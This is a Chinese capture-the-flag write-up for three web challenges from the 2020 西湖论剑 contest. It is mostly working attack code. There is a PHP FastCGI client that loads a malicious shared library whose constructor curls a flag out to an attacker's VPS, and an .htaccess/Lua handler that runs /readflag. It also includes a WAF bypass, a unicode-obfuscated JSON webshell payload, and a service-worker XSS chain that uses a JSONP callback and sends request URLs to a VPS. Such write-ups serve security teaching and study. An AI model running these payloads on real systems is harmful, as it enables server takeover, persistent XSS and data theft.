2020西湖论剑 baby writeup
原文链接:http://phoebe233.cn/?p=271
赵总杀我
NewUpload
有宝塔waf,上传php文件或者文件内容包含php等都会502,然后504
后来发现可以用图片马+后缀换行来绕
然后有disable_functions和open_basedir,在shell里执行phpinfo();会被宝塔拦,所以要么直接写死在文件里,要么就动态掉用
exp:
<?php
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
return $request;
}
}
$sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);
$client = new Client();
$payload_file = "/tmp/ups.php";
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $payload_file,
'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = h.so",
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
?>
编译一个so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl vps:6666/`/readflag`");
}
gcc hpdoger.c -fPIC -shared -o hpdoger.so
然后vps开个http,把ups.php,h.so都copy到tmp目录,再写一个php包含就弹了(比赛刚结束5分钟才成功wtcl)
康了下其他师傅的解法,发现还有利用lua的
.htaccess
AddHandler lua-script .lua
lua
require "string"
function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
EasyJson
<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
unicode绕一下content,写个json格式的post过去/readflag就行了
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?=system($_GET[0]);?>"}
HardXss
这题考的是ServiceWorker,
简单的讲,是浏览器在后台独立于网页运行的脚本。可以简单的认为是一个介于客户端和服务端之间的代理服务器,最重要的作用之一就是缓存离线资源。
SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。
也就是说我们可以用sw拦截更改请求
限制:
- sw无法直接访问DOM
- 只能在localhost和https上使用
- 用来注册的js需要同源
例如有可控的callback
<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();
header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");
使用importScript加载js注册sw
1.js
var url="//localhost/test/sand/?callback=importScripts('//localhost/test/sand/2.js')//";
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register(url)
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
2.js 监听事件,拦截更改
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
var url = event.request.clone();
body = "<script>alert(location.search);</script>";
init = {headers: { 'Content-Type': 'text/html' }};
if(url.url.startsWith('http://localhost/test/sand/login.html')){
res = new Response(body,init);
event.respondWith(res.clone());
}
});
首先importScript("//localhost/test/sand/1.js"),浏览器会加载1.js,并在sand目录创建sw,然后同时1.js又会调用callback加载2.js,增加fetch事件
本题中存在两个子域名
https://xss.hardxss.xhlj.wetolink.com/
https://auth.hardxss.xhlj.wetolink.com/
根据jsonp提示,在xss的登陆页面发现jsonp,并且auto_reg_var可变量覆盖,也就是可以覆盖造成xss
https://xss.hardxss.xhlj.wetolink.com/login?callback=alert(1)//
auth子域有可控的callback
并且在xss登陆会跳转到auth进行验证
但是我们只能在xss子域importScript来往auth注册serviceworker,这就要跨域了
参考这个:
- 通过新建iframe和设置document.domain来使iframe和父body的js可以实现互通。
- iframe的src设置为https://auth.hardxss.xhlj.wetolink.com/
- 最后在iframe中执行注册service worker的js即可
1.js
document.domain = "xss.eec5b2.challenge.gcsis.cn";
var iff = document.createElement('iframe');
iff.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//ip/2.js')//")`;
function iffLoadover(){
iff.contentWindow.eval(exp);
}
2.js
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url.url)
fetch("https:/vps/?flag="+btoa(url.url));
}
最后在xss子域importScript 1.js,首先由于document.domain都为父域,1.js会在auth注册一个sw,然后通过callback去加载2.js,增加fetch事件,并跳到vps